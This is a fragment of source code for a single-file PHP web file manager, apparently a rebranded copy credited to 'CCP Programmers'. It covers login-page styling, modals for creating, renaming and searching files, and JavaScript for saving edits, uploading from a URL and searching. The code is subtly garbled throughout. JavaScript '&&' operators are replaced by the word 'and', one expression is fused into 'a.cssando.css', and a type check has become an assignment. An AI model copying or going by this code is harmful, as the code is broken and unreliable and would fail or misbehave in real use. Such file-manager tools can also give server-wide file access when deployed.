3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");} .fm-login-page .brand{ width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1} .fm-login-page .brand img{ width:100%} .fm-login-page .card-wrapper{ width:360px;margin-top:10%;margin-left:auto;margin-right:auto;} .fm-login-page .card{ border-color:transparent;box-shadow:0 4px 8px rgba(0,0,0,.05)} .fm-login-page .card-title{ margin-bottom:1.5rem;font-size:24px;font-weight:400;} .fm-login-page .form-control{ border-width:2.3px} .fm-login-page .form-group label{ width:100%} .fm-login-page .btn.btn-block{ padding:12px 10px} .fm-login-page .footer{ margin:40px 0;color:#888;text-align:center} @media screen and (max-width:425px){ .fm-login-page .card-wrapper{ width:90%;margin:0 auto;margin-top:10%;} } @media screen and (max-width:320px){ .fm-login-page .card.fat{ padding:0} .fm-login-page .card.fat .card-body{ padding:15px} } .message{ padding:4px 7px;border:1px solid #ddd;background-color:#fff} .message.ok{ border-color:green;color:green} .message.error{ border-color:red;color:red} .message.alert{ border-color:orange;color:orange} body.fm-login-page.theme-dark {background-color: #2f2a2a;} .theme-dark svg g, .theme-dark svg path {fill: #ffffff; } </style> </head> <body class="fm-login-page <?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?>"> <div id="wrapper" class="container-fluid"> <?php } function fm_show_footer_login() { ?> </div> <?php print_external('js-jquery'); ?> <?php print_external('js-bootstrap'); ?> </body> </html> <?php } function fm_show_header() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $lang, $root_url, $sticky_navbar, $favicon_path; $isStickyNavBar = $sticky_navbar ? 'navbar-fixed' : 'navbar-normal'; ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="trouvaille"> <meta name="author" content="CCP Programmers"> <meta name="robots" content="noindex, nofollow"> <meta name="googlebot" content="noindex"> <?php if($favicon_path) { echo '<link rel="icon" href="'.fanco($favicon_path).'" type="image/png">'; } ?> <title><?php echo fanco(APP_TITLE) ?></title> <?php print_external('pre-jsdelivr'); ?> <?php print_external('pre-cloudflare'); ?> <?php print_external('css-bootstrap'); ?> <?php print_external('css-font-awesome'); ?> <?php if (FM_USE_HIGHLIGHTJS and isset($_GET['view'])): ?> <?php print_external('css-highlightjs'); ?> <?php endif; ?> <script type="text/javascript">window.csrf = '<?php echo $_SESSION['token']; ?>';</script> <style> html { -moz-osx-font-smoothing: grayscale; -webkit-font-smoothing: antialiased; text-rendering: optimizeLegibility; height: 100%; scroll-behavior: smooth;} *,*::before,*::after { box-sizing: border-box;} body { font-size:15px; color:#222;background:#F7F7F7; } body.navbar-fixed { margin-top:55px; } a, a:hover, a:visited, a:focus { text-decoration:none !important; } .filename, td, th { white-space:nowrap } .navbar-brand { font-weight:bold; } .nav-item.avatar a { cursor:pointer;text-transform:capitalize; } .nav-item.avatar a > i { font-size:15px; } .nav-item.avatar .dropdown-menu a { font-size:13px; } #search-addon { font-size:12px;border-right-width:0; } .brl-0 { background:transparent;border-left:0; border-top-left-radius: 0; border-bottom-left-radius: 0; } .brr-0 { border-top-right-radius: 0; border-bottom-right-radius: 0; } .bread-crumb { color:#cccccc;font-style:normal; } #main-table { transition: transform .25s cubic-bezier(0.4, 0.5, 0, 1),width 0s .25s;} #main-table .filename a { color:#222222; } .table td, .table th { vertical-align:middle !important; } .table .custom-checkbox-td .custom-control.custom-checkbox, .table .custom-checkbox-header .custom-control.custom-checkbox { min-width:18px; display: flex;align-items: center; justify-content: center; } .table-sm td, .table-sm th { padding:.4rem; } .table-bordered td, .table-bordered th { border:1px solid #f1f1f1; } .hidden { display:none } pre.with-hljs { padding:0; overflow: hidden; } pre.with-hljs code { margin:0;border:0;overflow:scroll; } code.maxheight, pre.maxheight { max-height:512px } .fa.fa-caret-right { font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec } .fa.fa-home { font-size:1.3em;vertical-align:bottom } .path { margin-bottom:10px } form.dropzone { min-height:200px;border:2px dashed #007bff;line-height:6rem; } .right { text-align:right } .center, .close, .login-form, .preview-img-container { text-align:center } .message { padding:4px 7px;border:1px solid #ddd;background-color:#fff } .message.ok { border-color:green;color:green } .message.error { border-color:red;color:red } .message.alert { border-color:orange;color:orange } .preview-img { max-width:100%;max-height:80vh;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC);cursor:zoom-in } input#preview-img-zoomCheck[type=checkbox] { display:none } input#preview-img-zoomCheck[type=checkbox]:checked ~ label > img { max-width:none;max-height:none;cursor:zoom-out } .inline-actions > a > i { font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px 4px;border-radius:3px; } .preview-video { position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px } .preview-video video { position:absolute;width:100%;height:100%;left:0;top:0;background:#000 } .compact-table { border:0;width:auto } .compact-table td, .compact-table th { width:100px;border:0;text-align:center } .compact-table tr:hover td { background-color:#fff } .filename { max-width:420px;overflow:hidden;text-overflow:ellipsis } .break-word { word-wrap:break-word;margin-left:30px } .break-word.float-left a { color:#7d7d7d } .break-word + .float-right { padding-right:30px;position:relative } .break-word + .float-right > a { color:#7d7d7d;font-size:1.2em;margin-right:4px } #editor { position:absolute;right:15px;top:100px;bottom:15px;left:15px } @media (max-width:481px) { #editor { top:150px; } } #normal-editor { border-radius:3px;border-width:2px;padding:10px;outline:none; } .btn-2 { padding:4px 10px;font-size:small; } li.file:before,li.folder:before { font:normal normal normal 14px/1 FontAwesome;content:"\f016";margin-right:5px } li.folder:before { content:"\f114" } i.fa.fa-folder-o { color:#0157b3 } i.fa.fa-picture-o { color:#26b99a } i.fa.fa-file-archive-o { color:#da7d7d } .btn-2 i.fa.fa-file-archive-o { color:inherit } i.fa.fa-css3 { color:#f36fa0 } i.fa.fa-file-code-o { color:#007bff } i.fa.fa-code { color:#cc4b4c } i.fa.fa-file-text-o { color:#0096e6 } i.fa.fa-html5 { color:#d75e72 } i.fa.fa-file-excel-o { color:#09c55d } i.fa.fa-file-powerpoint-o { color:#f6712e } i.go-back { font-size:1.2em;color:#007bff; } .main-nav { padding:0.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2) } .dataTables_filter { display:none; } table.dataTable thead .sorting { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC'); } table.dataTable thead .sorting_asc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg=='); } table.dataTable thead .sorting_desc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII='); } table.dataTable thead tr:first-child th.custom-checkbox-header:first-child { background-image:none; } .footer-action li { margin-bottom:10px; } .app-v-title { font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase; } hr.custom-hr { border-top:1px dashed #8c8b8b;border-bottom:1px dashed #fff; } #snackbar { visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px; } #snackbar.show { visibility:visible;-webkit-animation:fadein 0.5s, fadeout 0.5s 2.5s;animation:fadein 0.5s, fadeout 0.5s 2.5s; } @-webkit-keyframes fadein { from { bottom:0;opacity:0; } to { bottom:30px;opacity:1; } } @keyframes fadein { from { bottom:0;opacity:0; } to { bottom:30px;opacity:1; } } @-webkit-keyframes fadeout { from { bottom:30px;opacity:1; } to { bottom:0;opacity:0; } } @keyframes fadeout { from { bottom:30px;opacity:1; } to { bottom:0;opacity:0; } } #main-table span.badge { border-bottom:2px solid #f8f9fa } #main-table span.badge:nth-child(1) { border-color:#df4227 } #main-table span.badge:nth-child(2) { border-color:#f8b600 } #main-table span.badge:nth-child(3) { border-color:#00bd60 } #main-table span.badge:nth-child(4) { border-color:#4581ff } #main-table span.badge:nth-child(5) { border-color:#ac68fc } #main-table span.badge:nth-child(6) { border-color:#45c3d2 } @media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) { .navbar-collapse .col-xs-6 { padding:0; } } .btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus { outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important } .lds-facebook { display:none;position:relative;width:64px;height:64px } .lds-facebook div,.lds-facebook.show-me { display:inline-block } .lds-facebook div { position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook 1.2s cubic-bezier(0,.5,.5,1) infinite } .lds-facebook div:nth-child(1) { left:6px;animation-delay:-.24s } .lds-facebook div:nth-child(2) { left:26px;animation-delay:-.12s } .lds-facebook div:nth-child(3) { left:45px;animation-delay:0s } @keyframes lds-facebook { 0% { top:6px;height:51px } 100%,50% { top:19px;height:26px } } ul#search-wrapper { padding-left: 0;border: 1px solid #ecececcc; } ul#search-wrapper li { list-style: none; padding: 5px;border-bottom: 1px solid #ecececcc; } ul#search-wrapper li:nth-child(odd){ background: #f9f9f9cc;} .c-preview-img { max-width: 300px; } .border-radius-0 { border-radius: 0; } .float-right { float: right; } .table-hover>tbody>tr:hover>td:first-child { border-left: 1px solid #1b77fd; } #main-table tr.even { background-color: #F8F9Fa; } .filename>a>i {margin-right: 3px;} </style> <?php if (FM_THEME == "dark"): ?> <style> :root { --bs-bg-opacity: 1; --bg-color: #f3daa6; --bs-dark-rgb: 28, 36, 41 !important; --bs-bg-opacity: 1; } .table-dark { --bs-table-bg: 28, 36, 41 !important; } .btn-primary { --bs-btn-bg: #26566c; --bs-btn-border-color: #26566c; } body.theme-dark { background-image: linear-gradient(90deg, #1c2429, #263238); color: #CFD8DC; } .list-group .list-group-item { background: #343a40; } .theme-dark .navbar-nav i, .navbar-nav .dropdown-toggle, .break-word { color: #CFD8DC; } a, a:hover, a:visited, a:active, #main-table .filename a, i.fa.fa-folder-o, i.go-back { color: var(--bg-color); } ul#search-wrapper li:nth-child(odd) { background: #212a2f; } .theme-dark .btn-outline-primary { color: #b8e59c; border-color: #b8e59c; } .theme-dark .btn-outline-primary:hover, .theme-dark .btn-outline-primary:active { background-color: #2d4121;} .theme-dark input.form-control { background-color: #101518; color: #CFD8DC; } .theme-dark .dropzone { background: transparent; } .theme-dark .inline-actions > a > i { background: #79755e; } .theme-dark .text-white { color: #CFD8DC !important; } .theme-dark .table-bordered td, .table-bordered th { border-color: #343434; } .theme-dark .table-bordered td .custom-control-input, .theme-dark .table-bordered th .custom-control-input { opacity: 0.678; } .message { background-color: #212529; } .compact-table tr:hover td { background-color: #3d3d3d; } #main-table tr.even { background-color: #21292f; } form.dropzone { border-color: #79755e; } </style> <?php endif; ?> </head> <body class="<?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?> <?php echo $isStickyNavBar; ?>"> <div id="wrapper" class="container-fluid"> <!-- New Item creation --> <div class="modal fade" id="createNewItem" tabindex="-1" role="dialog" data-bs-backdrop="static" data-bs-keyboard="false" aria-labelledby="newItemModalLabel" aria-hidden="true"> <div class="modal-dialog" role="document"> <form class="modal-content <?php echo fm_get_theme(); ?>" method="post"> <div class="modal-header"> <h5 class="modal-title" id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php echo lng('CreateNewItem') ?></h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <div class="modal-body"> <p><label for="newfile"><?php echo lng('ItemType') ?> </label></p> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="newfile" id="customRadioInline1" name="newfile" value="file"> <label class="form-check-label" for="customRadioInline1"><?php echo lng('File') ?></label> </div> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="newfile" id="customRadioInline2" value="folder" checked> <label class="form-check-label" for="customRadioInline2"><?php echo lng('Folder') ?></label> </div> <p class="mt-3"><label for="newfilename"><?php echo lng('ItemName') ?> </label></p> <input type="text" name="newfilename" id="newfilename" value="" class="form-control" placeholder="<?php echo lng('Enter here...') ?>" required> </div> <div class="modal-footer"> <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> <button type="button" class="btn btn-outline-primary" data-bs-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button> <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('CreateNow') ?></button> </div> </form> </div> </div> <!-- Advance Search Modal --> <div class="modal fade" id="searchModal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true"> <div class="modal-dialog modal-lg" role="document"> <div class="modal-content <?php echo fm_get_theme(); ?>"> <div class="modal-header"> <h5 class="modal-title col-10" id="searchModalLabel"> <div class="input-group mb-3"> <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?> <?php echo lng('a files') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon3" id="advanced-search" autofocus required> <span class="input-group-text" id="search-addon3"><i class="fa fa-search"></i></span> </div> </h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <div class="modal-body"> <form action="" method="post"> <div class="lds-facebook"><div></div><div></div><div></div></div> <ul id="search-wrapper"> <p class="m-2"><?php echo lng('Search file in folder and subfolders...') ?></p> </ul> </form> </div> </div> </div> </div> <!--Rename Modal --> <div class="modal modal-alert" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="renameDailog"> <div class="modal-dialog" role="document"> <form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off"> <div class="modal-body p-4 text-center"> <h5 class="mb-3"><?php echo lng('Are you sure want to rename?') ?></h5> <p class="mb-1"> <input type="text" name="rename_to" id="js-rename-to" class="form-control" placeholder="<?php echo lng('Enter new file name') ?>" required> <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> <input type="hidden" name="rename_from" id="js-rename-from"> </p> </div> <div class="modal-footer flex-nowrap p-0"> <button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button> <button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0"><strong><?php echo lng('Okay') ?></strong></button> </div> </form> </div> </div> <!-- Confirm Modal --> <script type="text/html" id="js-tpl-confirm"> <div class="modal modal-alert confirmDailog" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="confirmDailog-<%this.id%>"> <div class="modal-dialog" role="document"> <form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off" action="<%this.action%>"> <div class="modal-body p-4 text-center"> <h5 class="mb-2"><?php echo lng('Are you sure want to') ?> <%this.title%> ?</h5> <p class="mb-1"><%this.content%></p> </div> <div class="modal-footer flex-nowrap p-0"> <button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button> <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> <button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0" data-bs-dismiss="modal"><strong><?php echo lng('Okay') ?></strong></button> </div> </form> </div> </div> </script> <?php } function fm_show_footer() { ?> </div> <?php print_external('js-jquery'); ?> <?php print_external('js-bootstrap'); ?> <?php print_external('js-jquery-datatables'); ?> <?php if (FM_USE_HIGHLIGHTJS and isset($_GET['view'])): ?> <?php print_external('js-highlightjs'); ?> <script>hljs.highlightAll(); var isHighlightingEnabled = true;</script> <?php endif; ?> <script> function template(html,options){ var re=/<\%([^\%>]+)?\%>/g,reExp=/(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,code='var r=[];\n',cursor=0,match;var add=function(line,js){js?(code+=line.match(reExp)?line+'\n':'r.push('+line+');\n'):(code+=line!=''?'r.push("'+line.replace(/"/g,'\\"')+'");\n':'');return add} while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length} add(html.substr(cursor,html.length-cursor));code+='return r.join("");';return new Function(code.replace(/[\r\t\n]/g,'')).apply(options) } function rename(e, t) { if(t) { $("#js-rename-from").val(t);$("#js-rename-to").val(t); $("#renameDailog").modal('show'); } } function change_checkboxes(e, t) { for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked } function get_checkboxes() { for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--) (e[n].type = "checkbox") and t.push(e[n]); return t } function select_all() { change_checkboxes(get_checkboxes(), !0) } function unselect_all() { change_checkboxes(get_checkboxes(), !1) } function invert_all() { change_checkboxes(get_checkboxes()) } function checkbox_toggle() { var e = get_checkboxes(); e.push(this), change_checkboxes(e) } function backup(e, t) { var n = new XMLHttpRequest, a = "path=" + e + "&file=" + t + "&token="+ window.csrf +"&type=backup&ajax=true"; return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function () { 4 == n.readyState and 200 == n.status and toast(n.responseText) }, n.send(a), !1 } // Toast message function toast(txt) { var x = document.getElementById("snackbar");x.innerHTML=txt;x.className = "show";setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); } // Save file function edit_save(e, t) { var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value; if (typeof n !== 'undefined' and n !== null) { if (true) { var data = {ajax: true, content: n, type: 'save', token: window.csrf}; $.ajax({ type: "POST", url: window.location, data: JSON.stringify(data), contentType: "application/json; charset=utf-8", success: function(mes){toast("Saved Successfully"); window.onbeforeunload = function() {return}}, failure: function(mes) {toast("Error: try again");}, error: function(mes) {toast(`<p style="background-color:red">${mes.responseText}</p>`);} }); } else { var a = document.createElement("form"); a.setAttribute("method", "POST"), a.setAttribute("action", ""); var o = document.createElement("textarea"); o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata"); let cx = document.createElement("input"); cx.setAttribute("type", "hidden");cx.setAttribute("name", "token");cx.setAttribute("value", window.csrf); var c = document.createTextNode(n); o.appendChild(c), a.appendChild(o), a.appendChild(cx), document.body.appendChild(a), a.submit() } } } function show_new_pwd() { $(".js-new-pwd").toggleClass('hidden'); } // Save Settings function save_settings($this) { let form = $($this); $.ajax({ type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true, success: function (data) {if(data) { window.location.reload();}} }); return false; } //Create new password hash function new_password_hash($this) { let form = $($this), $pwd = $("#js-pwd-result"); $pwd.val(''); $.ajax({ type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true, success: function (data) { if(data) { $pwd.val(data); } } }); return false; } // Upload files using URL @param {Object} function upload_from_url($this) { let form = $($this), resultWrapper = $("div#js-url-upload__list"); $.ajax({ type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true, beforeSend: function() { form.find("input[name=uploadurl]").attr("disabled","disabled"); form.find("button").hide(); form.find(".lds-facebook").addClass('show-me'); }, success: function (data) { if(data) { data = JSON.parse(data); if(data.done) { resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: '+data.done.name+'</div>'); form.find("input[name=uploadurl]").val(''); } else if(data['fail']) { resultWrapper.append('<div class="alert alert-danger row">Error: '+data.fail.message+'</div>'); } form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me'); } }, error: function(xhr) { form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');console.error(xhr); } }); return false; } // Search template function search_template(data) { var response = ""; $.each(data, function (key, val) { response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`; }); return response; } // Advance search function fm_search() { var searchTxt = $("input#advanced-search").val(), searchWrapper = $("ul#search-wrapper"), path = $("#js-search-modal").attr("href"), _html = "", $loader = $("div.lds-facebook"); if(!!searchTxt and searchTxt.length > 2 and path) { var data = {ajax: true, content: searchTxt, path:path, type: 'search', token: window.csrf }; $.ajax({ type: "POST", url: window.location, data: data, beforeSend: function() { searchWrapper.html(''); $loader.addClass('show-me'); }, success: function(data){ $loader.removeClass('show-me'); data = JSON.parse(data); if(data and data.length) { _html = search_template(data); searchWrapper.html(_html); } else { searchWrapper.html('<p class="m-2">No result found!<p>'); } }, error: function(xhr) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>'); }, failure: function(mes) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');} }); } else { searchWrapper.html("OOPS: minimum 3 characters required!"); } } // action confirm dailog modal function confirmDailog(e, id = 0, title = "Action", content = "", action = null) { e.preventDefault(); const tplObj = {id, title, content: decodeURIComponent(content.replace(/\+/g, ' ')), action}; let tpl = $("#js-tpl-confirm").html(); $(".modal.confirmDailog").remove(); $('#wrapper').append(template(tpl,tplObj)); const $confirmDailog = $("#confirmDailog-"+tplObj.id); $confirmDailog.modal('show'); return false; } // on mouse hover image preview !function(s){s.previewImage=function(e){var o=s(document),t=".previewImage",a=s.extend({xOffset:20,yOffset:-20,fadeIn:"fast",css:{padding:"5px",border:"1px solid #cccccc","background-color":"#fff"},eventSelector:"[data-preview-image]",dataKey:"previewImage",overlayId:"preview-image-plugin-overlay"},e);return o.off(t),o.on("mouseover"+t,a.eventSelector,function(e){s("p#"+a.overlayId).remove();var o=s("<p>").attr("id",a.overlayId).css("position","absolute").css("display","none").append(s('<img class="c-preview-img">').attr("src",s(this).data(a.dataKey)));a.cssando.css(a.css),s("body").append(o),o.css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px").fadeIn(a.fadeIn)}),o.on("mouseout"+t,a.eventSelector,function(){s("#"+a.overlayId).remove()}),o.on("mousemove"+t,a.eventSelector,function(e){s("#"+a.overlayId).css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px")}),this},s.previewImage()}(jQuery); // Dom Ready Events $(document).ready( function () { // dataTable init var $table = $('#main-table'), tableLng = $table.find('th').length, _targets = (tableLng and tableLng == 7 ) ? [0, 4,5,6] : tableLng == 5 ? [0,4] : [3]; mainTable = $('#main-table').DataTable({paging: false, info: false, order: [], columnDefs: [{targets: _targets, orderable: false}] }); // filter table $('#search-addon').on( 'keyup', function () { mainTable.search( this.value ).draw(); }); $("input#advanced-search").on('keyup', function (e) { if (e.keyCode === 13) { fm_search(); } }); $('#search-addon3').on( 'click', function () { fm_search(); }); //upload nav tabs $(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e){ e.preventDefault();let target=$(this).data('target'); $(".fm-upload-wrapper .card-header-tabs a").removeClass('active');$(this).addClass('active'); $(".fm-upload-wrapper .card-tabs-container").addClass('hidden');$(target).removeClass('hidden'); }); }); </script> <?php if (isset($_GET['edit']) and isset($_GET['env']) and FM_EDIT_FILE and !FM_READONLY): $ext = pathinfo($_GET["edit"], PATHINFO_EXTENSION); $ext = $ext == "js" ? "javascript" : $ext; ?> <?php print_external('js-ace'); ?> <script> var editor = ace.edit("editor"); editor.getSession().setMode( {path:"ace/mode/<?php echo $ext; ?>", inline:true} ); //editor.setTheme("ace/theme/twilight"); //Dark Theme editor.setShowPrintMargin(false); // Hide the vertical ruler function ace_commend (cmd) { editor.commands.exec(cmd, editor); } editor.commands.addCommands([{ name: 'save', bindKey: {win: 'Ctrl-S', mac: 'Command-S'}, exec: function(editor) { edit_save(this, 'ace'); } }]); function renderThemeMode() { var $modeEl = $("select#js-ace-mode"), $themeEl = $("select#js-ace-theme"), $fontSizeEl = $("select#js-ace-fontSize"), optionNode = function(type, arr){ var $Option = ""; $.each(arr, function(i, val) { $Option += "<option value='"+type+i+"'>" + val + "</option>"; }); return $Option; }, _data = {"aceTheme":{"bright":{"chrome":"Chrome","clouds":"Clouds","crimson_editor":"Crimson Editor","dawn":"Dawn","dreamweaver":"Dreamweaver","eclipse":"Eclipse","github":"GitHub","iplastic":"IPlastic","solarized_light":"Solarized Light","textmate":"TextMate","tomorrow":"Tomorrow","xcode":"XCode","kuroir":"Kuroir","katzenmilch":"KatzenMilch","sqlserver":"SQL Server"},"dark":{"ambiance":"Ambiance","chaos":"Chaos","clouds_midnight":"Clouds Midnight","dracula":"Dracula","cobalt":"Cobalt","gruvbox":"Gruvbox","gob":"Green on Black","idle_fingers":"idle Fingers","kr_theme":"krTheme","merbivore":"Merbivore","merbivore_soft":"Merbivore Soft","mono_industrial":"Mono Industrial","monokai":"Monokai","pastel_on_dark":"Pastel on dark","solarized_dark":"Solarized Dark","terminal":"Terminal","tomorrow_night":"Tomorrow Night","tomorrow_night_blue":"Tomorrow Night Blue","tomorrow_night_bright":"Tomorrow Night Bright","tomorrow_night_eighties":"Tomorrow Night 80s","twilight":"Twilight","vibrant_ink":"Vibrant Ink"}},"aceMode":{"javascript":"JavaScript","abap":"ABAP","abc":"ABC","actionscript":"ActionScript","ada":"ADA","apache_conf":"Apache Conf","asciidoc":"AsciiDoc","asl":"ASL","assembly_x86":"Assembly x86","autohotkey":"AutoHotKey","apex":"Apex","batchfile":"BatchFile","bro":"Bro","c_cpp":"C and C++","c9search":"C9Search","cirru":"Cirru","clojure":"Clojure","cobol":"Cobol","coffee":"CoffeeScript","coldfusion":"ColdFusion","csharp":"C#","csound_document":"Csound Document","csound_orchestra":"Csound","csound_score":"Csound Score","css":"CSS","curly":"Curly","d":"D","dart":"Dart","diff":"Diff","dockerfile":"Dockerfile","dot":"Dot","drools":"Drools","edifact":"Edifact","eiffel":"Eiffel","ejs":"EJS","elixir":"Elixir","elm":"Elm","erlang":"Erlang","forth":"Forth","fortran":"Fortran","fsharp":"FSharp","fsl":"FSL","ftl":"FreeMarker","gcode":"Gcode","gherkin":"Gherkin","gitignore":"Gitignore","glsl":"Glsl","gobstones":"Gobstones","golang":"Go","graphqlschema":"GraphQLSchema","groovy":"Groovy","haml":"HAML","handlebars":"Handlebars","haskell":"Haskell","haskell_cabal":"Haskell Cabal","haxe":"haXe","hjson":"Hjson","html":"HTML","html_elixir":"HTML (Elixir)","html_ruby":"HTML (Ruby)","ini":"INI","io":"Io","jack":"Jack","jade":"Jade","java":"Java","json":"JSON","jsoniq":"JSONiq","jsp":"JSP","jssm":"JSSM","jsx":"JSX","julia":"Julia","kotlin":"Kotlin","latex":"LaTeX","less":"LESS","liquid":"Liquid","lisp":"Lisp","livescript":"LiveScript","logiql":"LogiQL","lsl":"LSL","lua":"Lua","luapage":"LuaPage","lucene":"Lucene","makefile":"Makefile","markdown":"Markdown","mask":"Mask","matlab":"MATLAB","maze":"Maze","mel":"MEL","mixal":"MIXAL","mushcode":"MUSHCode","mysql":"MySQL","nix":"Nix","nsis":"NSIS","objectivec":"Objective-C","ocaml":"OCaml","pascal":"Pascal","perl":"Perl","perl6":"Perl 6","pgsql":"pgSQL","php_laravel_blade":"PHP (Blade 